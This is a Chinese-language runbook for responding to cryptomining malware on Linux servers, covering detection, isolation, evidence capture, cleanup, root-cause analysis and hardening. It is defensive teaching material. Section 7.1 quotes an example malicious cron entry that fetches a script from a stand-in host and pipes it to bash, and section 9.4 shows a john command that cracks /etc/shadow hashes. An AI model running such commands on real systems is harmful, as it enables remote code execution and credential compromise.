返回首页

服务器被挖矿了怎么办 — 挖矿木马应急响应与安全加固全记录

📅 创建于 2026-09-07 🔄 更新于 2026-09-07 📝 1873 字

服务器被挖矿了怎么办?应急响应与安全加固全记录

来源:马哥Linux运维(微信公众号)| 发布日期:2026-09-05 定位:标准流程 runbook——十一阶段应急响应全流程(发现→隔离→取证→定位→持久化分析→清除→根因→修复→加固→验证→监控),每步带命令、风险提醒和回滚方案。kinsing 木马真实案例复盘见 linux-mining-virus-investigation-guide,AIDE/rkhunter/auditd 检测工具深拆见 linux-intrusion-detection-guide

挖矿木马是当前云服务器面临的主要安全威胁之一。攻击者通过漏洞利用、弱密码爆破、供应链投毒等方式植入挖矿程序,利用服务器 CPU、GPU 资源进行数字货币挖矿。挖矿木马不只是占用资源,还可能携带后门、rootkit、横向移动模块,长期潜伏后会造成更严重的安全事件。

一、典型表现与特征画像

典型表现:

  • CPU 使用率持续 90% 以上
  • 服务器响应变慢,业务接口超时
  • 出现陌生进程名,例如 kdevtmpfsi、kworkerds、xmrig、minerd
  • 网络连接中出现矿池地址
  • 定时任务或启动脚本被植入恶意命令
  • 系统日志中出现可疑登录记录

四维特征画像:

维度 特征
进程 进程名伪装成系统进程(kworker、systemd、sshd);进程路径位于 /tmp、/var/tmp、/dev/shm 等可写目录;启动参数含矿池或钱包地址;CPU 占用接近 100%
网络 连接矿池域名或 IP,常见端口 3333、8080、14444、45560;使用加密流量难以明文识别;DNS 查询记录出现矿池域名
持久化 修改 crontab 定时任务;修改 /etc/rc.local、systemd service;修改 .bashrc、.bash_profile;在 /etc/init.d/ 或 /lib/systemd/system/ 植入启动脚本
文件 可执行文件无合法签名;时间戳异常;属主异常(普通用户属主却位于系统目录);文件名随机字符串或伪装系统文件

典型攻击链(7 环节):

初始入侵(漏洞/弱密码/供应链投毒)→ 权限提升(内核漏洞、SUID、sudo 配置错误)→ 持久化(定时任务、启动脚本、SSH 后门)→ 清理痕迹(清空或篡改日志、history)→ 执行挖矿(下载并运行挖矿程序)→ 对抗检测(隐藏进程、伪装进程名、监控并杀死安全工具进程)→ 横向移动(扫描内网、批量感染)。

二、应急响应五原则与总流程

五原则:

  1. 隔离优先 — 立即隔离受感染主机,防止横向扩散
  2. 保留证据 — 清理前保存关键日志、进程信息、网络连接信息
  3. 全面排查 — 不能只杀进程,必须清除持久化机制
  4. 根因分析 — 找到入侵途径,避免重复感染
  5. 安全加固 — 清理完成后必须进行安全加固

总流程(11 步):

发现异常 → 初步判断 → 隔离主机 → 保存证据 → 定位恶意进程 → 分析持久化机制 → 清除木马 → 修复入侵途径 → 安全加固 → 验证效果 → 持续监控

三、初步判断(5 项检查)

3.1 CPU 与进程

top -bn1 | head -20
ps aux --sort=-%cpu | head -20
# 搜索已知挖矿进程名(注意:木马通常会伪装进程名)
ps -ef | grep -v grep | grep -E "kdevtmpfsi|kworkerds|xmrig|minerd|cryptonight|monero"
# 查看父进程 PID、命令行参数、资源占用
ps -eo pid,ppid,cmd,%cpu,%mem --sort=-%cpu | head -30

3.2 网络连接

netstat -antp | grep ESTABLISHED
ss -antp | grep ESTABLISHED   # ss 在较新发行版替代 netstat,输出更快

重点关注:连接境外 IP、连接非标准端口(3333/8080/14444/45560)、进程名可疑的连接。

3.3 定时任务

crontab -l
crontab -u root -l
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
# 遍历所有用户的定时任务
for user in $(cut -f1 -d: /etc/passwd); do
  echo "User: $user"
  crontab -u "$user" -l 2>/dev/null
done

3.4 启动脚本

cat /etc/rc.local
systemctl list-unit-files --type=service | grep enabled
ls -la /lib/systemd/system/ | grep -v "^d"
ls -la /etc/systemd/system/ | grep -v "^d"
ls -la /etc/init.d/

四、隔离主机(3 种方式,按影响面递进)

4.1 直接断网

ip link show          # 查看网卡名称
ip link set eth0 down # 禁用网卡

⚠️ 会导致 SSH 断开,需通过带外管理(IPMI、云控制台 VNC)操作。

4.2 限制出站连接(不能完全断网时)

iptables -A OUTPUT -j DROP                    # 禁止所有出站
iptables -I OUTPUT -d 192.168.1.100 -j ACCEPT # 仅允许访问指定 IP(如内网监控服务器)

⚠️ 影响所有出站流量:DNS 查询、软件更新、日志上报等。

4.3 云平台安全组隔离

云控制台修改安全组:禁止所有出站流量 + 仅保留必要管理端口入站。不影响主机内操作,更安全,优先采用。

五、保存证据(清理前必做)

统一保存到 /root/evidence/,文件名带时间戳($(date +%Y%m%d_%H%M%S)):

证据类型 命令要点
进程信息 ps -efps auxpstree -p 快照落盘
网络连接 netstat -antpss -antp 快照落盘
定时任务 crontab -l + 复制 /etc/crontab + cp -r /etc/cron.d + cp -r /var/spool/cron
启动脚本 复制 /etc/rc.local + cp -r /etc/init.d + cp -r /lib/systemd/system + cp -r /etc/systemd/system
日志文件 复制 /var/log/auth.log(Ubuntu)、/var/log/secure(CentOS)、messages、syslog
用户配置 复制 /root/.bashrc、.bash_profile、/root/.ssh/authorized_keys

⚠️ 发行版差异:CentOS 用 /var/log/secure,Ubuntu 用 /var/log/auth.log。

六、定位恶意进程

# 1) 按 CPU 定位
ps aux --sort=-%cpu | head -20

# 2) 进程详细信息(假设 PID=12345)
ps -fp 12345
ls -l /proc/12345/exe                              # 可执行文件真实路径
cat /proc/12345/cmdline | tr '\0' ' '              # 完整命令行(含特殊字符)
lsof -p 12345                                      # 打开的文件、连接、动态库
cat /proc/12345/environ | tr '\0' '\n'             # 环境变量
pwdx 12345                                         # 工作目录

# 3) 网络连接与父进程链
netstat -antp | grep 12345
ss -antp | grep 12345
pstree -p | grep 12345
ps -o pid,ppid,cmd -p 12345                        # 向上追溯父进程,找到启动源头

# 4) 检查进程文件(假设 /tmp/kdevtmpfsi)
file /tmp/kdevtmpfsi                               # 文件类型
md5sum /tmp/kdevtmpfsi && sha256sum /tmp/kdevtmpfsi  # 哈希值用于威胁情报查询
strings /tmp/kdevtmpfsi | grep -E "http|pool|stratum|wallet|donate"  # 提取矿池/钱包地址
ls -lh /tmp/kdevtmpfsi && stat /tmp/kdevtmpfsi     # 大小、时间戳、权限、属主

七、分析持久化机制(5 类位置)

7.1 定时任务

crontab -l && cat /etc/crontab
ls -la /etc/cron.d/ /var/spool/cron/

重点关注三类恶意任务特征:

  • 包含 curlwgetchmod +x 等下载执行命令
  • 执行间隔很短(例如每分钟一次)
  • 输出重定向到 /dev/null 隐藏执行结果

典型恶意任务示例:

*/5 * * * * curl -fsSL http://malicious.com/miner.sh | bash > /dev/null 2>&1

7.2 启动脚本

cat /etc/rc.local
grep -r "kdevtmpfsi" /etc/init.d/ /lib/systemd/system/ /etc/systemd/system/
systemctl list-unit-files --type=service | grep enabled   # 逐个检查可疑服务
systemctl cat <服务名>                                     # 查看服务配置内容

7.3 用户配置文件

cat /root/.bashrc /root/.bash_profile /root/.profile
grep -r "kdevtmpfsi" /home/*/.*rc /root/.*rc

7.4 SSH 后门

cat /root/.ssh/authorized_keys            # 检查未知公钥
cat /etc/ssh/sshd_config | grep -v "^#" | grep -v "^$"   # 检查配置是否被篡改
ps aux | grep sshd                        # 检查多个 sshd 进程,排除伪装 sshd 后门

7.5 其他持久化位置

ls -la /etc/profile.d/          # 系统级环境脚本目录
cat /etc/ld.so.preload          # ⚠️ 检查是否注入恶意动态库(rootkit 常用手段)
ls -la /lib/x86_64-linux-gnu/ | grep -v "^l" | tail -20   # 系统库目录异常文件
ls -la /usr/lib64/ | grep -v "^l" | tail -20

八、清除木马(对应持久化位置逐一清除)

8.1 杀进程

kill -9 12345
pkill -9 kdevtmpfsi    # 批量杀死同名进程

⚠️ 仅杀进程不够——不清除持久化机制,进程会被重新拉起。

8.2 删恶意文件

rm -f /tmp/kdevtmpfsi
find /tmp -type f -name "kdevtmpfsi*" -delete
find /var/tmp -type f -name "kdevtmpfsi*" -delete
find /dev/shm -type f -name "kdevtmpfsi*" -delete

⚠️ 删除前确认文件确实是恶意文件;find -delete 是破坏性操作,先不带 -delete 预览。

8.3 清定时任务

crontab -e             # 手动编辑删除恶意行(推荐)
crontab -r             # 清空当前用户全部任务(会连正常任务一起删,先备份)
rm -f /etc/cron.d/<恶意文件>
rm -f /var/spool/cron/<指定用户>

8.4 清启动脚本

vi /etc/rc.local                              # 编辑删除恶意命令
systemctl stop <恶意服务> && systemctl disable <恶意服务>
rm -f /lib/systemd/system/<恶意服务>.service /etc/systemd/system/<恶意服务>.service
systemctl daemon-reload
rm -f /etc/init.d/<恶意脚本>
update-rc.d <脚本名> remove    # Debian/Ubuntu
chkconfig <脚本名> off         # CentOS/RHEL

8.5 清用户配置与 SSH 后门

vi /root/.bashrc /root/.bash_profile     # 删除恶意命令
vi /root/.ssh/authorized_keys            # 删除未知公钥
vi /etc/ssh/sshd_config                  # 恢复被篡改的 SSH 配置
systemctl restart sshd

8.6 清动态库注入

vi /etc/ld.so.preload    # 删除恶意路径行
ldconfig                 # 重新生成动态库缓存

九、分析入侵途径(6 个方向)

清除后必须找到入侵途径,否则会重复感染。

9.1 登录日志

last | head -50
lastb | head -50
grep "Accepted" /var/log/auth.log | tail -50   # Ubuntu/Debian
grep "Accepted" /var/log/secure | tail -50     # CentOS/RHEL
grep "Failed password" /var/log/auth.log | tail -50

异常信号:陌生 IP、凌晨等异常时间登录、短时间大量失败尝试、登录成功后立即执行可疑命令。

9.2 命令历史

cat /root/.bash_history | tail -100
for user in $(cut -f1 -d: /etc/passwd); do
  home=$(eval echo "~$user")
  if [ -f "$home/.bash_history" ]; then
    echo "User: $user"
    tail -50 "$home/.bash_history"
  fi
done

重点关注含 curlwgetchmod +x/tmp/ 的命令、下载执行未知脚本、修改定时任务或启动脚本。

9.3 Web 应用日志

tail -1000 /var/log/nginx/access.log | grep -E "\.php|\.jsp|\.asp"
tail -1000 /var/log/nginx/error.log

重点关注:含 evalbase64_decodesystemexec 的请求;/../../../ 类异常路径;返回 200 的可疑请求。

9.4 弱密码

cat /etc/shadow | cut -d: -f1,2        # 查看密码哈希
john --wordlist=/usr/share/wordlists/rockyou.txt /etc/shadow   # 需安装 john

9.5 应用漏洞

nginx -v && apache2 -v && mysql --version && redis-server --version && docker --version

对照查询各组件已知漏洞。

9.6 开放端口

netstat -tuln && ss -tuln

重点关注不该对外开放的端口(MySQL 3306、Redis 6379)和未知服务监听端口。

十、修复入侵途径

措施 命令/要点
改弱密码 passwd root;强密码:≥12 位、大小写+数字+特殊字符、不用常见密码和个人信息
禁用账户 usermod -L <用户> 锁定;userdel -r <用户> 删除(-r 会删家目录,确认后再删)
升级应用 apt update && apt upgrade -y(Debian/Ubuntu);yum update -y(CentOS/RHEL)。⚠️ 先在测试环境验证
修复应用配置 修复 SQL 注入/命令注入/文件上传漏洞;禁用不必要功能模块;限制上传类型和大小;限制 Web 应用执行系统命令的权限
限制远程访问 sshd_config 加 AllowUsers [email protected]/24;防火墙 iptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT + 非该网段 DROP。⚠️ 配置错误可能锁死自己,先加当前 IP 或走带外管理

十一、安全加固(8 项)

11.1 SSH 加固

编辑 /etc/ssh/sshd_config:

PermitRootLogin prohibit-password   # 禁用 root 密码登录
PasswordAuthentication no           # 仅允许密钥登录
PermitEmptyPasswords no             # 禁用空密码
MaxAuthTries 3                      # 限制登录尝试次数
MaxStartups 10:30:60                # 限制并发未认证连接
Port 22022                          # 修改默认端口(可选)
AllowUsers root admin               # 限制登录用户
X11Forwarding no                    # 禁用 X11 转发
AllowTcpForwarding no               # 禁用 TCP 转发
StrictModes yes                     # 启用严格模式
LoginGraceTime 60                   # 登录超时
ClientAliveInterval 300             # 空闲超时
ClientAliveCountMax 2

⚠️ 修改前确保已配置密钥登录,否则会无法登录。

11.2 防火墙

iptables 基线(含暴力破解速率限制):

iptables -F && iptables -X && iptables -Z        # 清空现有规则
iptables -P INPUT DROP && iptables -P FORWARD DROP && iptables -P OUTPUT ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
# SSH 连接速率限制(60 秒内第 4 次新建连接起 DROP)
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 -j DROP
# 保存
iptables-save > /etc/iptables/rules.v4   # Debian/Ubuntu
service iptables save                    # CentOS/RHEL

firewalld(CentOS/RHEL):systemctl enable --now firewalldfirewall-cmd --permanent --add-service=ssh/http/httpsfirewall-cmd --reloadfirewall-cmd --list-all

11.3 禁用不必要的服务

systemctl list-unit-files --type=service | grep enabled
systemctl disable <服务> && systemctl stop <服务>

11.4 SELinux / AppArmor

# CentOS/RHEL:/etc/selinux/config 设 SELINUX=enforcing,然后
setenforce 1
# Ubuntu/Debian
systemctl enable --now apparmor

⚠️ 可能导致应用无法运行,需逐步调整策略。

11.5 AIDE 文件完整性监控

apt install -y aide      # 或 yum install -y aide
aideinit                 # 初始化数据库
aide --check             # 检查完整性

11.6 fail2ban 入侵检测

apt install -y fail2ban

/etc/fail2ban/jail.local:

[DEFAULT]
bantime = 3600        # 封禁时间(秒)
findtime = 600        # 检测时间窗口(秒)
maxretry = 3          # 最大失败次数
banaction = iptables-multiport

[sshd]
enabled = true
port = 22
logpath = /var/log/auth.log   # CentOS/RHEL 用 /var/log/secure
maxretry = 3
bantime = 3600
systemctl restart fail2ban
fail2ban-client status sshd                  # 查看封禁状态
fail2ban-client set sshd unbanip <IP>        # 解除封禁

11.7 限制 cron 使用权限

/etc/cron.allow 写入允许使用 cron 的用户(如 root、admin),并删除 /etc/cron.deny。

11.8 限制编译工具

攻击者可能利用编译工具编译恶意程序:

chmod 700 /usr/bin/gcc /usr/bin/g++ /usr/bin/cc /usr/bin/make

⚠️ 影响从源码安装软件的场景。

十二、验证清理效果(8 项 + 持续监控)

# 验证项 命令 通过标准
1 进程 ps aux --sort=-%cpu \| head -20ps aux \| grep -E "kdevtmpfsi\|kworkerds\|xmrig\|minerd" 无 CPU 异常进程、无已知挖矿进程
2 网络连接 ss -antp \| grep ESTABLISHEDnetstat -antp \| grep -E "3333\|8080\|14444\|45560" 无矿池连接、矿池端口无外联
3 定时任务 crontab -lcat /etc/crontabls -la /etc/cron.d/ 无恶意任务
4 启动脚本 systemctl list-unit-files --type=service \| grep enabledcat /etc/rc.local 无恶意服务
5 文件系统 find /tmp /var/tmp /dev/shm -type f -executable -ls 可写目录无可疑可执行文件
6 日志 tail -50 /var/log/auth.log(或 secure) 无异常登录记录
7 系统性能 top -bn1free -hdf -h 性能恢复正常
8 持续监控 监控 CPU/内存/磁盘/网络流量/进程/连接/登录记录 24 小时内未再出现异常可初步判断清理成功

十三、回滚方案(5 类误操作恢复)

误操作 恢复方法
误删定时任务 crontab /root/evidence/crontab_<时间戳>.txt
误删启动脚本 从 /root/evidence/ 复制回原位 + chmod +x + systemctl daemon-reload && enable && start
误改用户配置 复制备份回 /root/.bashrc + source /root/.bashrc
SSH 配置错误锁死 带外管理(IPMI/云 VNC)登录修复;或 cp /etc/ssh/sshd_config.bak 恢复后 restart
防火墙锁死 iptables -F && -X + 默认策略全 ACCEPT;或 iptables-restore 恢复备份

十四、生产环境操作纪律(8 条)

  1. 业务影响评估 — 清理前评估:杀进程是否影响业务、改配置是否中断服务、隔离是否影响业务连续性
  2. 低峰窗口 — 避开业务高峰,提前通知相关团队,准备应急预案
  3. 分步操作 — 不要一次性执行所有清理:先隔离 → 保存证据后清理 → 逐步验证每步效果 → 发现问题立即回滚
  4. 备份关键数据 — 数据库数据、应用配置、日志、用户数据
  5. 双人协作 — 一人操作一人复核,操作前沟通确认,过程记录每步
  6. 应急预案 — 清理失败如何回滚、服务中断如何恢复、数据丢失如何从备份恢复
  7. 变更记录 — 记录每次变更的时间、内容、原因、结果
  8. 后续监控 — 前 24 小时密切监控,前 7 天每天检查关键指标,配置自动化告警

十五、风险提醒速查

类别 要点
清理操作 删文件/杀进程前确认是恶意的;删定时任务前备份;改 SSH 前确保有密钥登录;配防火墙前确认规则正确避免锁死
隔离操作 断网后 SSH 断开需带外管理;限出站影响 DNS/更新/日志上报;云安全组隔离前确认有其他管理方式
批量操作 find -delete 先预览;pkill 可能误杀;rm -rf 仔细确认路径
配置变更 升级前测试环境验证;改内核参数前备份;SELinux/AppArmor 逐步调整
数据丢失 userdel -r 删家目录需确认;清日志前确认不需要溯源

十六、按场景的排查路径(5 条)

  • CPU 异常飙高ps aux --sort=-%cpu → 进程详情(ps -fp/proc/PID/exe)→ 进程网络连接 → 父进程链 → file/strings 查文件 → 查持久化 → 清除并修复入侵途径
  • 网络连接异常netstat/ss -antp | grep ESTABLISHED → 识别可疑连接 PID → 进程详情与文件分析 → 查持久化 → 清除修复
  • 登录日志异常last/lastb → grep Accepted → 识别陌生 IP/异常时间 → 查该时段命令历史 → 检查是否植入木马 → 改密码/禁账户 → 配防火墙或 fail2ban
  • 定时任务异常:遍历所有用户任务 → 识别 curl/wget/chmod +x 特征 → 查看任务脚本内容 → 清除 → 检查启动脚本和用户配置文件(往往多处联动)
  • 启动脚本异常systemctl list-unit-files | grep enabled → 逐个 systemctl cat → 查 rc.local 与 /etc/init.d/ → 清除 → 检查定时任务和用户配置文件

十七、总结

挖矿木马应急响应是系统性工程,核心流程 11 步(见第二节)。关键要点:隔离优先、保留证据、全面清除(不能只杀进程)、根因分析(找到入侵途径避免重复感染)、安全加固

常见持久化位置三件套:定时任务(crontab、/etc/cron.*、/var/spool/cron)、启动脚本(/etc/rc.local、systemd service、/etc/init.d/)、用户配置(.bashrc、.bash_profile、.ssh/authorized_keys)。

安全加固五方向:SSH 加固(禁密码登录/限 IP/改端口)、防火墙(限入站出站)、入侵检测(fail2ban/AIDE/监控告警)、账户管理(强密码/禁不必要账户)、应用加固(升级漏洞组件/禁不必要服务)。

挖矿木马清理是标,安全加固是本。 只清理不加固,会重复感染。只有找到根因、修复漏洞、提升安全基线,才能真正解决问题。

关联页面

页面关联点
linux-mining-virus-investigation-guide挖矿病毒排查清除实战(kinsing 木马真实案例,含入侵时间线推演与根因分析模板)
linux-hacked-server-emergency-response服务器被黑应急响应清单(断网不关机原则、ps/proc 对比查隐藏进程、应急报告模板)
linux-intrusion-detection-guide入侵检测体系深拆(AIDE 基线/rkhunter+chkrootkit/auditd 规则集/告警分级)
server-security-hardening-checklist新机器上线 20 项安全加固(本文第十一节加固项的上线前完整版)
ssh-brute-force-protection-guideSSH 暴力破解防御纵深(公钥/fail2ban/2FA/连接限制参数详解)
cpu-spike-troubleshooting-guideCPU 飙高通用排查方法论(挖矿是 CPU 异常的常见根因之一)
tcp-connection-attack-vs-bugTCP 连接数爆表攻防鉴别(挖矿木马外联矿池的连接特征分析)
ssh-keys-directory-guide~/.ssh 各文件职责全解(authorized_keys 后门排查的密钥知识基础)
anti-brute-force-scriptiptables/ufw 自动封禁脚本(本文 11.2 速率限制的自动化落地)
linux-firewall-comparison-guideiptables/firewalld/nftables/ufw 四大防火墙对比与选型(11.2 防火墙配置的工具选型依据)